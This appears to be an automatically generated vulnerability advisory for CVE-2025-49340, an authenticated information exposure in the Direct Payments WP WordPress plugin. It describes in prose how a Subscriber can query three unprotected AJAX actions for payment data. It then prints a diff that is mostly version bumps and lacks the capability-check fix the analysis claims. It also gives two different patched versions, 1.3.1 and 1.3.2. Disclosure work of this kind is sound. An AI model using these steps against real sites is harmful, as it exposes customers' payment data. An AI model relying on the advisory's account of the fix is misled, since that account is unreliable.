Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 20, 2026

CVE-2025-49340: Direct Payments WP <= 1.3.0 – Authenticated (Subscriber+) Sensitive Information Exposure (direct-payments-wp)

CVE ID CVE-2025-49340
Plugin direct-payments-wp
Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 1.3.0
Patched Version 1.3.1
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-49340:
This vulnerability is an authenticated sensitive information exposure in the Direct Payments WP WordPress plugin, affecting all versions up to and including 1.3.0. The plugin fails to implement proper authorization checks on multiple AJAX endpoints, allowing authenticated users with Subscriber-level permissions or higher to access sensitive user and configuration data intended only for administrators.

Atomic Edge research identified the root cause as missing capability checks in multiple AJAX handler functions. The plugin registers several AJAX actions via wp_ajax_ hooks that process sensitive queries without verifying the user’s permissions. Key vulnerable functions include digages_dp_get_payment_records in direct-payments-wp/functions/paymentrecords.php, digages_dp_get_payment_report in the same file, and digages_dp_get_currency in direct-payments-wp/functions/currency.php. These functions execute database queries for payment records, user data, and currency settings when triggered via admin-ajax.php, but they only check for a valid nonce without validating the user’s capability to perform these actions.

The exploitation method requires an authenticated attacker with at least Subscriber-level access. The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to digages_dp_get_payment_records, digages_dp_get_payment_report, or digages_dp_get_currency. The request must include a valid WordPress nonce, which Subscriber users can obtain from their dashboard. For example, to extract payment records, the attacker sends action=digages_dp_get_payment_records with parameters like search, order, orderby, paged, and records_per_page to control the query. The plugin returns sensitive payment data including transaction details, customer information, and amounts without verifying if the user has administrative privileges.

The patch in version 1.3.2 adds proper capability checks to the vulnerable AJAX handlers. The diff shows the addition of current_user_can(‘manage_options’) checks before processing sensitive operations. For instance, in direct-payments-wp/functions/paymentrecords.php, the digages_dp_get_payment_records function now includes if (!current_user_can(‘manage_options’)) { wp_die(); } immediately after nonce verification. This ensures only users with administrator privileges can access payment records and reports. The version number updates throughout the codebase reflect this security fix release.

Successful exploitation allows attackers to extract sensitive payment transaction data, customer information, and plugin configuration details. This exposure violates data privacy regulations and could facilitate further attacks such as payment fraud, social engineering, or reconnaissance for targeted attacks. The CVSS score of 4.3 reflects the authenticated requirement and confidentiality impact without direct system compromise.

Differential between vulnerable and patched code

Code Diff 
--- a/direct-payments-wp/admin/forms/frontend-shortcode.php
+++ b/direct-payments-wp/admin/forms/frontend-shortcode.php
@@ -143,7 +143,7 @@

 <?php

-wp_enqueue_script('digages-dp-formcheck-scripts', plugin_dir_url(__FILE__) . '../../assets/js/formcheck.js', array('jquery'), '1.3.0', true);
+wp_enqueue_script('digages-dp-formcheck-scripts', plugin_dir_url(__FILE__) . '../../assets/js/formcheck.js', array('jquery'), '1.3.2', true);

     return ob_get_clean();
 }
--- a/direct-payments-wp/admin/forms/manage-form.php
+++ b/direct-payments-wp/admin/forms/manage-form.php
@@ -265,7 +265,7 @@

     <?php
     include_once(plugin_dir_path(__FILE__) . 'pop.php');
-    wp_enqueue_script('payment-methodsxs', plugin_dir_url(__FILE__) . '../../assets/js/adminformidcopy.js', array('jquery'), '1.3.0', true);
+    wp_enqueue_script('payment-methodsxs', plugin_dir_url(__FILE__) . '../../assets/js/adminformidcopy.js', array('jquery'), '1.3.2', true);
     ?>

     <?php
--- a/direct-payments-wp/admin/forms/view-form-left.php
+++ b/direct-payments-wp/admin/forms/view-form-left.php
@@ -191,6 +191,6 @@
 </div>
 <?php

-   wp_enqueue_script('payment-methodsxs', plugin_dir_url(__FILE__) . '../../assets/js/adminformidcopy.js', array('jquery'), '1.3.0', true);
+   wp_enqueue_script('payment-methodsxs', plugin_dir_url(__FILE__) . '../../assets/js/adminformidcopy.js', array('jquery'), '1.3.2', true);

  ?>
--- a/direct-payments-wp/admin/forms/view-form.php
+++ b/direct-payments-wp/admin/forms/view-form.php
@@ -56,7 +56,7 @@

 include_once(plugin_dir_path(__FILE__) . 'pop.php');

- wp_enqueue_style('view-form-css', plugin_dir_url(__FILE__) . '../../assets/css/viewform.css', array(), '1.3.0', 'all');
+ wp_enqueue_style('view-form-css', plugin_dir_url(__FILE__) . '../../assets/css/viewform.css', array(), '1.3.2', 'all');

 }

--- a/direct-payments-wp/admin/payments/desktopview.php
+++ b/direct-payments-wp/admin/payments/desktopview.php
@@ -116,7 +116,7 @@

 <?php

-wp_enqueue_script('digages-pop-order-details', plugin_dir_url(__FILE__) . '../../assets/js/order-details.js', ['jquery'], '1.3.0', true);
+wp_enqueue_script('digages-pop-order-details', plugin_dir_url(__FILE__) . '../../assets/js/order-details.js', ['jquery'], '1.3.2', true);
     wp_localize_script('digages-pop-order-details', 'digagesAjax', [
         'ajax_url' => admin_url('admin-ajax.php'),
         'nonce'    => wp_create_nonce('digages_modal_nonce'),
--- a/direct-payments-wp/admin/settings/general.php
+++ b/direct-payments-wp/admin/settings/general.php
@@ -136,6 +136,37 @@
 </div>


+
+
+<!-- Wadsow AI -->
+<div class="container-fluid text-start ">
+<div class="rowt">
+
+<div class="colt-3 colt-sm-3 colts-md-3 colts-lg-3">
+<div class="digages-settings-bold-text">
+<div class="digages-wpdp-general-ai"><div>AI Auto-confirmation</div><div class="digages-wpdp-general-ai-text">New</div></div>
+</div>
+</div>
+
+<div class="colt-8 colt-sm-7 colts-md-7 colts-lg-7">
+<?php
+$enable_wadsowai_check = in_array($enable_wadsowai, $digages_settings) ? '' : '';
+?>
+<label class="digages-settings-inputs">
+    <input type="checkbox" name="digages_direct_payments_settings[]" value="<?php echo esc_attr($enable_wadsowai); ?>" <?php echo esc_attr($enable_wadsowai_check); ?> disabled>
+    Enable AI-Powered Payment Confirmation</label><br/>
+    <div class="digages-settings-spaces"><a href="https://digages.com/direct-payments-wp/" target="_blank">Upgrade to PRO</a> to automatically verify incoming payments and confirm orders using WadSow AI, reducing manual checks and speeding up fulfillment.</div>
+
+
+<br/>
+</div>
+
+</div>
+</div>
+
+
+
+
 <!-- telegram -->
 <div class="container-fluid text-start ">
 <div class="rowt">
--- a/direct-payments-wp/admin/settings/settings.php
+++ b/direct-payments-wp/admin/settings/settings.php
@@ -172,10 +172,10 @@
                 'digages-dp-payment-method-handler',
                 plugins_url('../../assets/js/settings-payment-method-handler.js', __FILE__),
                 array('jquery'),
-                '1.3.0',
+                '1.3.2',
                 true
             );
-            wp_enqueue_style('digages-dp-custom-tab', plugin_dir_url(__FILE__) . '../../assets/css/settings-tab.css', array(), '1.3.0', 'all');
+            wp_enqueue_style('digages-dp-custom-tab', plugin_dir_url(__FILE__) . '../../assets/css/settings-tab.css', array(), '1.3.2', 'all');
         }

     }
--- a/direct-payments-wp/ads/others/help-improve.php
+++ b/direct-payments-wp/ads/others/help-improve.php
@@ -4,8 +4,8 @@
 function digages_dp_data_usage_notice_help_improve() {
     $data_usage = get_option('digages_dp_wdpp_data_usage');
     $data_usage_second = get_option('digages_dp_wdpp_data_usage_second');
-    $optional_proof = get_option('digages_dp_wdpp_optional_qrcodenot');
-    $current_version = '1.3.0'; // your plugin's current version
+    $optional_proof = get_option('digages_dp_wdpp_optional_wadsowainot');
+    $current_version = '1.3.2'; // plugin's current version
     $saved_version = get_option('digages_dp_woodp_option_plugin_version');

     // // Never include if data_usage is 'yes'
--- a/direct-payments-wp/ads/others/optional-proof.php
+++ b/direct-payments-wp/ads/others/optional-proof.php
@@ -3,10 +3,10 @@

 function digages_dp_optional_proof_notice_optional_proof() {

-       $current_version = '2.1.4'; // your plugin's current version
+       $current_version = '1.3.0'; // your plugin's current version
     $saved_version = get_option('digages_dp_woodp_option_plugin_version');

-    if (get_option('digages_dp_wdpp_optional_qrcodenot') === 'yes') {
+    if (get_option('digages_dp_wdpp_optional_wadsowainot') === 'yes') {
         return;
     }
     elseif ($saved_version <= $current_version) {
@@ -40,7 +40,7 @@

         // Perform your logic
         if ($action === 'yes') {
-            update_option('digages_dp_wdpp_optional_qrcodenot', 'yes');
+            update_option('digages_dp_wdpp_optional_wadsowainot', 'yes');
         }

         // Redirect to clean up URL
--- a/direct-payments-wp/ads/others/templates/optional-proof.php
+++ b/direct-payments-wp/ads/others/templates/optional-proof.php
@@ -19,11 +19,11 @@
         <div class="digages-notice-container-item1">

             <div class="digages-notice-container-item1-txt2">
-              🔥 Direct Payments v2.3 is live with QR Code Payments!
+              <b>🔥 Direct Payments v1.3.2 is live with AI Auto-confirmation!</b>
             </div>

             <div>
-                Customers can now scan and pay instantly at checkout. See our <a href="https://digages.com/?fluentcrm=1&route=smart_url&slug=c3wv839" target="_blank">step-by-step guide</a> to add QR codes to your payment accounts, and read the full <a href="https://digages.com/?fluentcrm=1&route=smart_url&slug=c3wv8v7" target="_blank">blog announcement</a>.
+                Automatic payment confirmation with <b>WadSow AI</b> is now available to help reduce manual checks Read the <a href="https://digages.com/?fluentcrm=1&route=smart_url&slug=c9iep07" target="_blank">full blog announcement.</a>
             </div>

             <div class="digages-notice-container-item1-btn">
@@ -34,12 +34,27 @@
                         add_query_arg(
                             $action_param,
                             add_query_arg([
+                                'page' => 'direct-payment-settings&tab=general',
+                                '_wpnonce' => $nonce,
+                            ], admin_url('admin.php'))
+                        )
+                    ); ?>">
+                        <button type="button" class="btn1">Enable AI Confirmation</button>
+                    </a>
+                </div>
+
+                <div class="">
+
+                    <a href="<?php echo esc_url(
+                        add_query_arg(
+                            $action_param,
+                            add_query_arg([
                                 'page' => 'direct-payments-bank-transfer',
                                 '_wpnonce' => $nonce,
                             ], admin_url('admin.php'))
                         )
                     ); ?>">
-                        <button type="button" class="btn1">Settings</button>
+                        <button type="button" class="btn2">Dashboard</button>
                     </a>
                 </div>

--- a/direct-payments-wp/direct-payments.php
+++ b/direct-payments-wp/direct-payments.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name: Direct Payments WP
 Description: Direct Payments WP is the ultimate plugin for WordPress users who want a simple way to accept payments via bank transfers, mobile money, and P2P platforms—all with zero transaction fees. No API keys or KYC required.
-Version: 1.3.0
+Version: 1.3.2
 Author: Digages
 Author URI: http://digages.com
 License: GPL2
@@ -89,7 +89,7 @@


 function digages_dp_enqueue_admin_scripts() {
-    wp_enqueue_script('tumaz-form-management', plugins_url('admin/forms/form-manager.js', __FILE__), ['jquery'], '1.3.0', true);
+    wp_enqueue_script('tumaz-form-management', plugins_url('admin/forms/form-manager.js', __FILE__), ['jquery'], '1.3.2', true);
     wp_localize_script('tumaz-form-management', 'tumaz_form_management', [
         'nonce' => wp_create_nonce('form-builder-save'),
         'ajaxurl' => admin_url('admin-ajax.php')
@@ -100,7 +100,7 @@


 function digages_dp_hide_admin_menu_item_js() {
-    wp_enqueue_script('tumaz-form-managements', plugins_url('/assets/js/hide-view-form.js', __FILE__), ['jquery'], '1.3.0', true);
+    wp_enqueue_script('tumaz-form-managements', plugins_url('/assets/js/hide-view-form.js', __FILE__), ['jquery'], '1.3.2', true);

 }
 add_action('admin_footer', 'digages_dp_hide_admin_menu_item_js');
@@ -108,9 +108,9 @@

 function digages_dp_custom_plugin_enqueue_select2() {
     // Enqueue Select2 CSS and JS
-    wp_enqueue_style('custom-plugin-select2-css', plugin_dir_url(__FILE__) . 'select.css', array(), '1.3.0', 'all');
+    wp_enqueue_style('custom-plugin-select2-css', plugin_dir_url(__FILE__) . 'select.css', array(), '1.3.2', 'all');

-    wp_enqueue_script('custom-plugin-select2-js', plugin_dir_url(__FILE__) . 'select2.min.js', array('jquery'), '1.3.0', true);
+    wp_enqueue_script('custom-plugin-select2-js', plugin_dir_url(__FILE__) . 'select2.min.js', array('jquery'), '1.3.2', true);

     // Ensure jQuery is loaded before initializing Select2
     wp_add_inline_script('custom-plugin-select2-js', "
@@ -199,9 +199,9 @@
 include_once(plugin_dir_path(__FILE__) . 'ads/others/help-improve.php');

 //Help improve Ads
-// add_action('admin_notices', 'digages_dp_optional_proof_notice_optional_proof');
-// add_action('admin_init', 'digages_dp_handle_optional_proof_actions_optional_proof');
-// include_once(plugin_dir_path(__FILE__) . 'ads/others/optional-proof.php');
+add_action('admin_notices', 'digages_dp_optional_proof_notice_optional_proof');
+add_action('admin_init', 'digages_dp_handle_optional_proof_actions_optional_proof');
+include_once(plugin_dir_path(__FILE__) . 'ads/others/optional-proof.php');



@@ -236,7 +236,7 @@

 // Hook for plugin activation
 function digages_dp_plugin_on_activation() {
-    $current_version = '1.3.0'; // your plugin's current version
+    $current_version = '1.3.2'; // your plugin's current version
     update_option('digages_dp_woodp_option_plugin_version', $current_version);

     update_option('digages_direct_payments_currencies', 'USD');
@@ -248,7 +248,7 @@
     add_option('digages_dp_plugin_onboarding_redirect', true);

     add_option('digages_dp_wdpp_data_usage_second', 'no');
-    add_option('digages_dp_wdpp_optional_qrcodenot', 'no');
+    add_option('digages_dp_wdpp_optional_wadsowainot', 'no');
 }
 register_activation_hook(__FILE__, 'digages_dp_plugin_on_activation');

--- a/direct-payments-wp/frontend/popup/paymentpopup.php
+++ b/direct-payments-wp/frontend/popup/paymentpopup.php
@@ -79,7 +79,7 @@
 'digages-qrcode-script', // Handle
 plugin_dir_url(__FILE__) . 'qrcode.js', // Path to your script
 array('jquery'), // Dependencies
-'1.3.0', // Version number
+'1.3.2', // Version number
 true // Load in footer
 );

@@ -87,7 +87,7 @@
 'digages-qrcode-scripte', // Handle
 plugin_dir_url(__FILE__) . 'qrcode2.js', // Path to your script
 array('jquery'), // Dependencies
-'1.3.0', // Version number
+'1.3.2', // Version number
 true // Load in footer
 );

@@ -95,7 +95,7 @@
 'digages-pop-script-dp', // Handle
 plugin_dir_url(__FILE__) . 'pop.js', // Path to your script
 array('jquery'), // Dependencies
-'1.3.0', // Version number
+'1.3.2', // Version number
 true // Load in footer
 );

@@ -115,7 +115,7 @@
         'digages-country-script', // Handle
         plugin_dir_url(__FILE__) . 'country.js', // Path to your script
         array('jquery'), // Dependencies
-        '1.3.0', // Version number
+        '1.3.2', // Version number
         true // Load in footer
     );
     wp_localize_script('digages-country-script', 'ajax_object', array(
@@ -133,7 +133,7 @@
         'digages-country-script', // Handle
         plugin_dir_url(__FILE__) . 'countrya.js', // Path to your script
         array('jquery'), // Dependencies
-        '1.3.0', // Version number
+        '1.3.2', // Version number
         true // Load in footer
     );

--- a/direct-payments-wp/frontend/popup/step1.php
+++ b/direct-payments-wp/frontend/popup/step1.php
@@ -592,7 +592,7 @@
         'digages-pop-copy-script',
         plugin_dir_url(__FILE__) . 'popcopy.js',
         array('jquery'),
-        '1.3.0',
+        '1.3.2',
         true
     );
 }
--- a/direct-payments-wp/functions/bankenqueue.php
+++ b/direct-payments-wp/functions/bankenqueue.php
@@ -17,10 +17,10 @@
             wp_die(esc_html__('Nonce verification failed', 'direct-payments-wp'));
         }

-        wp_enqueue_script('digages-dp-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-dp-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.2', true);

         // Enqueue bank transfer JavaScript for the modal
-        wp_enqueue_script('bank-dp-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/bank/bank-transfer-edit.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('bank-dp-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/bank/bank-transfer-edit.js', array('jquery'), '1.3.2', true);

         $saved_bank_accounts = get_option('digages_dp_direct_bank_accounts', array());
         // Localize the script with data for AJAX and translation
@@ -36,7 +36,7 @@
             'bank-dp-transfer-save',
             plugin_dir_url(__FILE__) . '../assets/js/bank/bank-transfer-save.js', // Path to your JavaScript file.
             array('jquery'), // Dependencies.
-            '1.3.0',
+            '1.3.2',
             true // Load in the footer.
         );

@@ -51,7 +51,7 @@
             'digages-dp-bank-transfer-checkbox',
             plugins_url('../assets/js/bank/bank-transfer-checkbox.js', __FILE__),
             array('jquery'),
-            '1.3.0',
+            '1.3.2',
             true
         );

--- a/direct-payments-wp/functions/cryptoqueue.php
+++ b/direct-payments-wp/functions/cryptoqueue.php
@@ -16,10 +16,10 @@
         }
         // Enqueue Notice Update

-        wp_enqueue_script('digages-dp-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-dp-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.2', true);

         // Enqueue crypto transfer JavaScript for the modal
-        wp_enqueue_script('crypto-dp-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/crypto/crypto-transfer-edit.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('crypto-dp-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/crypto/crypto-transfer-edit.js', array('jquery'), '1.3.2', true);

         $saved_crypto_accounts = get_option('digages_dp_direct_crypto_accounts', array());
         // Localize the script with data for AJAX and translation
@@ -36,7 +36,7 @@
             'crypto-dp-transfer-save',
             plugin_dir_url(__FILE__) . '../assets/js/crypto/crypto-transfer-save.js', // Path to your JavaScript file
             array('jquery'), // Dependencies
-            '1.3.0',
+            '1.3.2',
             true // Load in the footer
         );

@@ -52,7 +52,7 @@
             'digages-dp-crypto-transfer-checkbox',
             plugins_url('../assets/js/crypto/crypto-transfer-checkbox.js', __FILE__),
             array('jquery'),
-            '1.3.0',
+            '1.3.2',
             true
         );

--- a/direct-payments-wp/functions/enqueue.php
+++ b/direct-payments-wp/functions/enqueue.php
@@ -8,7 +8,7 @@
     // Enqueue jQuery UI sortable
     wp_enqueue_script('jquery-ui-sortable');

-    wp_enqueue_script('digages-form-builder', plugins_url('../assets/js/drag-drop.js', __FILE__), ['jquery', 'jquery-ui-sortable'], '1.3.0', true);
+    wp_enqueue_script('digages-form-builder', plugins_url('../assets/js/drag-drop.js', __FILE__), ['jquery', 'jquery-ui-sortable'], '1.3.2', true);
     wp_localize_script('digages-form-builder', 'digages_form_builder', [
         'nonce' => wp_create_nonce('form-builder-save'),
     ]);
--- a/direct-payments-wp/functions/frontadminenqueue.php
+++ b/direct-payments-wp/functions/frontadminenqueue.php
@@ -28,33 +28,33 @@
         //Bootstrap js

         // Enqueue Bootstrap CSS and JS
-        wp_enqueue_style('digages-dp-admin-direct-payments', plugin_dir_url(__FILE__) . '../assets/css/digages-direct-payments.css', array(), '1.3.0', 'all');
-        wp_enqueue_style('bootstrap-dp-css', plugin_dir_url(__FILE__) . '../assets/css/bootstrap.min.css', array(), '1.3.0', 'all');
-        wp_enqueue_style('bootstrap-dp-font', plugin_dir_url(__FILE__) . '../assets/css/bootstrap-icons.min.css', array(), '1.3.0', 'all');
-        wp_enqueue_script('bootstrap-dp-js', plugin_dir_url(__FILE__) . '../assets/js/bootstrap.bundle.min.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_style('digages-dp-admin-direct-payments', plugin_dir_url(__FILE__) . '../assets/css/digages-direct-payments.css', array(), '1.3.2', 'all');
+        wp_enqueue_style('bootstrap-dp-css', plugin_dir_url(__FILE__) . '../assets/css/bootstrap.min.css', array(), '1.3.2', 'all');
+        wp_enqueue_style('bootstrap-dp-font', plugin_dir_url(__FILE__) . '../assets/css/bootstrap-icons.min.css', array(), '1.3.2', 'all');
+        wp_enqueue_script('bootstrap-dp-js', plugin_dir_url(__FILE__) . '../assets/js/bootstrap.bundle.min.js', array('jquery'), '1.3.2', true);

-        wp_enqueue_style('icomoon-css-dp', plugin_dir_url(__FILE__) . '../assets/css/icomoon.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('icomoon-css-dp', plugin_dir_url(__FILE__) . '../assets/css/icomoon.css', array(), '1.3.2', 'all');


             // Enqueue popup CSS and JS
-            wp_enqueue_style('digages-dp-new-popup-css', plugin_dir_url(__FILE__) . '../assets/css/popup.css', array(), '1.3.0', 'all');
-            wp_enqueue_script('digages-dp-new-popup-js', plugin_dir_url(__FILE__) . '../assets/js/popup.js', array('jquery'), '1.3.0', true);
-            wp_enqueue_style('digages-dp-new-grid-css', plugin_dir_url(__FILE__) . '../assets/css/grid.css', array(), '1.3.0', 'all');
+            wp_enqueue_style('digages-dp-new-popup-css', plugin_dir_url(__FILE__) . '../assets/css/popup.css', array(), '1.3.2', 'all');
+            wp_enqueue_script('digages-dp-new-popup-js', plugin_dir_url(__FILE__) . '../assets/js/popup.js', array('jquery'), '1.3.2', true);
+            wp_enqueue_style('digages-dp-new-grid-css', plugin_dir_url(__FILE__) . '../assets/css/grid.css', array(), '1.3.2', 'all');

-            wp_enqueue_script('digages-auto-adjust-popup-js-dwp', plugin_dir_url(__FILE__) . '../assets/js/adjustpopup.js', array('jquery'), '1.3.0', true);
+            wp_enqueue_script('digages-auto-adjust-popup-js-dwp', plugin_dir_url(__FILE__) . '../assets/js/adjustpopup.js', array('jquery'), '1.3.2', true);

-        wp_enqueue_script('digages-dp-payment-report', plugins_url('../assets/js/payment-report.js', __FILE__), ['jquery'], '1.3.0', true);
+        wp_enqueue_script('digages-dp-payment-report', plugins_url('../assets/js/payment-report.js', __FILE__), ['jquery'], '1.3.2', true);
         wp_localize_script('digages-dp-payment-report', 'digagesDirectPayment', [
             'ajax_url' => admin_url('admin-ajax.php'),
             'nonce' => wp_create_nonce('payment_records')
         ]);


-        wp_enqueue_script('digages-mobile-option-change-wp', plugin_dir_url(__FILE__) . '../assets/js/mobile-option-change.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-mobile-option-change-wp', plugin_dir_url(__FILE__) . '../assets/js/mobile-option-change.js', array('jquery'), '1.3.2', true);

-        wp_enqueue_style('digages-dp-admin-direct-payments-currency', plugin_dir_url(__FILE__) . '../assets/css/digages-direct-payments-currency.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('digages-dp-admin-direct-payments-currency', plugin_dir_url(__FILE__) . '../assets/css/digages-direct-payments-currency.css', array(), '1.3.2', 'all');

-        wp_enqueue_style('digages-dp-admin-direct-payments-on-board', plugin_dir_url(__FILE__) . '../assets/css/on-board.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('digages-dp-admin-direct-payments-on-board', plugin_dir_url(__FILE__) . '../assets/css/on-board.css', array(), '1.3.2', 'all');



@@ -92,14 +92,14 @@
         //admin popup


-        wp_enqueue_style('digages-admin-woodp-onboarding-popup-dp', plugin_dir_url(__FILE__) . '../onboarding/assets/css/popup.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('digages-admin-woodp-onboarding-popup-dp', plugin_dir_url(__FILE__) . '../onboarding/assets/css/popup.css', array(), '1.3.2', 'all');

-        wp_enqueue_style('digages-admin-woodp_onboarding-dp', plugin_dir_url(__FILE__) . '../onboarding/assets/css/styles.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('digages-admin-woodp_onboarding-dp', plugin_dir_url(__FILE__) . '../onboarding/assets/css/styles.css', array(), '1.3.2', 'all');
         wp_enqueue_script(
             'digages-admin-script-onboaard-popup-dp',
             plugin_dir_url(__FILE__) . '../onboarding/assets/js/popup.js',
             array('jquery'),
-            '1.3.0',
+            '1.3.2',
             true
         );

@@ -108,21 +108,35 @@
             'digages-bank-transfer-fixaccountselect-dp',
             plugins_url('../assets/js/fixaccountselect.js', __FILE__),
             array('jquery'),
-            '1.3.0',
+            '1.3.2',
             true
         );


         // Enqueue Notice Update
-        wp_enqueue_style('digages-admin-woodp-cryptopop-popup-dp', plugin_dir_url(__FILE__) . '../assets/css/cryptopop.css', array(), '1.3.0', 'all');
-        wp_enqueue_script('digages-admin-woodp-cryptopop-popup-js-dp', plugin_dir_url(__FILE__) . '../assets/js/cryptopop.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_style('digages-admin-woodp-cryptopop-popup-dp', plugin_dir_url(__FILE__) . '../assets/css/cryptopop.css', array(), '1.3.2', 'all');
+        wp_enqueue_script('digages-admin-woodp-cryptopop-popup-js-dp', plugin_dir_url(__FILE__) . '../assets/js/cryptopop.js', array('jquery'), '1.3.2', true);

         // End admin popup


-        wp_enqueue_style('digages-admin-woodp-removenotice', plugin_dir_url(__FILE__) . '../assets/css/removenotice.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('digages-admin-woodp-removenotice', plugin_dir_url(__FILE__) . '../assets/css/removenotice.css', array(), '1.3.2', 'all');

-        wp_enqueue_script('digages-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.2', true);
+
+
+        wp_enqueue_script('digages-wpdp-script-admincurrencies', plugin_dir_url(__FILE__) . '../assets/js/admincurrencies.js', array('jquery'), '1.3.2', true);
+
+        $default_currency = get_woocommerce_currency();
+        // Localize script for AJAX
+        wp_localize_script('digages-wpdp-script-admincurrencies', 'wpdpadmincurrenciesAjax', array(
+            'ajaxurl' => admin_url('admin-ajax.php'),
+            'nonce' => wp_create_nonce('currency_nonce'),
+            'currency' => $default_currency
+        ));
+
+
+
     }
 }

@@ -147,32 +161,32 @@
     ) {

     // Enqueue Bootstrap CSS and JS
-    wp_enqueue_style('digages-dp-admin-direct-payments', plugin_dir_url(__FILE__) . '../assets/css/digages-direct-payments.css', array(), '1.3.0', 'all');
-    wp_enqueue_style('bootstrap-dp-css', plugin_dir_url(__FILE__) . '../assets/css/bootstrap.min.css', array(), '1.3.0', 'all');
-    wp_enqueue_style('bootstrap-dp-font', plugin_dir_url(__FILE__) . '../assets/css/bootstrap-icons.min.css', array(), '1.3.0', 'all');
-    wp_enqueue_script('bootstrap-dp-js', plugin_dir_url(__FILE__) . '../assets/js/bootstrap.bundle.min.js', array('jquery'), '1.3.0', true);
+    wp_enqueue_style('digages-dp-admin-direct-payments', plugin_dir_url(__FILE__) . '../assets/css/digages-direct-payments.css', array(), '1.3.2', 'all');
+    wp_enqueue_style('bootstrap-dp-css', plugin_dir_url(__FILE__) . '../assets/css/bootstrap.min.css', array(), '1.3.2', 'all');
+    wp_enqueue_style('bootstrap-dp-font', plugin_dir_url(__FILE__) . '../assets/css/bootstrap-icons.min.css', array(), '1.3.2', 'all');
+    wp_enqueue_script('bootstrap-dp-js', plugin_dir_url(__FILE__) . '../assets/js/bootstrap.bundle.min.js', array('jquery'), '1.3.2', true);


-        wp_enqueue_style('icomoon-css-dp', plugin_dir_url(__FILE__) . '../assets/css/icomoon.css', array(), '1.3.0', 'all');
+        wp_enqueue_style('icomoon-css-dp', plugin_dir_url(__FILE__) . '../assets/css/icomoon.css', array(), '1.3.2', 'all');


             // Enqueue popup CSS and JS
-            wp_enqueue_style('digages-dp-new-popup-css', plugin_dir_url(__FILE__) . '../assets/css/popup.css', array(), '1.3.0', 'all');
-            wp_enqueue_script('digages-dp-new-popup-js', plugin_dir_url(__FILE__) . '../assets/js/popup.js', array('jquery'), '1.3.0', true);
-            wp_enqueue_style('digages-dp-new-grid-css', plugin_dir_url(__FILE__) . '../assets/css/grid.css', array(), '1.3.0', 'all');
+            wp_enqueue_style('digages-dp-new-popup-css', plugin_dir_url(__FILE__) . '../assets/css/popup.css', array(), '1.3.2', 'all');
+            wp_enqueue_script('digages-dp-new-popup-js', plugin_dir_url(__FILE__) . '../assets/js/popup.js', array('jquery'), '1.3.2', true);
+            wp_enqueue_style('digages-dp-new-grid-css', plugin_dir_url(__FILE__) . '../assets/css/grid.css', array(), '1.3.2', 'all');

-            wp_enqueue_script('digages-auto-adjust-popup-js-dwp', plugin_dir_url(__FILE__) . '../assets/js/adjustpopup.js', array('jquery'), '1.3.0', true);
+            wp_enqueue_script('digages-auto-adjust-popup-js-dwp', plugin_dir_url(__FILE__) . '../assets/js/adjustpopup.js', array('jquery'), '1.3.2', true);



-    wp_enqueue_script('digages-dp-payment-report', plugins_url('../assets/js/payment-report.js', __FILE__), ['jquery'], '1.3.0', true);
+    wp_enqueue_script('digages-dp-payment-report', plugins_url('../assets/js/payment-report.js', __FILE__), ['jquery'], '1.3.2', true);
     wp_localize_script('digages-dp-payment-report', 'digagesDirectPayment', [
         'ajax_url' => admin_url('admin-ajax.php'),
         'nonce' => wp_create_nonce('payment_records')
     ]);


-  wp_enqueue_script('digages-mobile-option-change-wp', plugin_dir_url(__FILE__) . '../assets/js/mobile-option-change.js', array('jquery'), '1.3.0', true);
+  wp_enqueue_script('digages-mobile-option-change-wp', plugin_dir_url(__FILE__) . '../assets/js/mobile-option-change.js', array('jquery'), '1.3.2', true);

     // Enqueue jQuery (WordPress includes it by default)
     wp_enqueue_script('jquery');
@@ -215,7 +229,7 @@
             wp_die(esc_html__('Nonce verification failed', 'direct-payments-wp'));
         }

-    wp_enqueue_style('digages-dp-admin-direct-payments-currencyqw', plugin_dir_url(__FILE__) . '../assets/css/digages-dp-currency.css', array(), '1.3.0', 'all');
+    wp_enqueue_style('digages-dp-admin-direct-payments-currencyqw', plugin_dir_url(__FILE__) . '../assets/css/digages-dp-currency.css', array(), '1.3.2', 'all');

     }
 }
--- a/direct-payments-wp/functions/mobilequeue.php
+++ b/direct-payments-wp/functions/mobilequeue.php
@@ -16,10 +16,10 @@
         }
         // Enqueue Notice Update

-        wp_enqueue_script('digages-dp-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('digages-dp-notice-update-scripts', plugin_dir_url(__FILE__) . '../assets/js/notice.js', array('jquery'), '1.3.2', true);

         // Enqueue mobile transfer JavaScript for the modal
-        wp_enqueue_script('mobile-dp-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/mobilemon/mobile-transfer-edit.js', array('jquery'), '1.3.0', true);
+        wp_enqueue_script('mobile-dp-transfer-edit', plugin_dir_url(__FILE__) . '../assets/js/mobilemon/mobile-transfer-edit.js', array('jquery'), '1.3.2', true);

